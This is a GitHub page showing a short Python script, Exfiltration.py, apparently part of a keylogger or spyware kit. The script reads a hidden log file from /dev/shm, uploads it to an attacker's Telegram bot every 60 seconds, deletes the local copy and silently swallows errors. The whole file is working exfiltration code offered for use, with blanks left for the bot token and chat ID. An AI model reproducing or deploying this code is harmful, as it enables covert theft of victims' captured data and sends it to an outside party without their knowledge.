-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathExfiltration.py
More file actions
32 lines (28 loc) · 964 Bytes
/
Exfiltration.py
File metadata and controls
32 lines (28 loc) · 964 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import threading
import os
BOT_TOKEN = "" #ENTER BOT TOKEN HERE
CHAT_ID = "" #ENTER CHAT/CHANNEL ID HERE
MESSAGE_FILE = "/dev/shm/.cache-netlog"
MAX_RETRIES = 5
INTERVAL = 60 #TIME INTERVAL AFTER WHICH FILE WILL BE SENT IN SECONDS
def send_logs():
for attempt in range(MAX_RETRIES):
try:
if os.path.exists(MESSAGE_FILE):
with open(MESSAGE_FILE, 'rb') as f:
response = requests.post(
f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument",
data={"chat_id": CHAT_ID},
files={"document": f}
)
if response.status_code == 200:
os.remove(MESSAGE_FILE)
break
except requests.ConnectionError:
time.sleep(2)
except Exception:
pass
threading.Timer(INTERVAL, send_logs).start()
send_logs()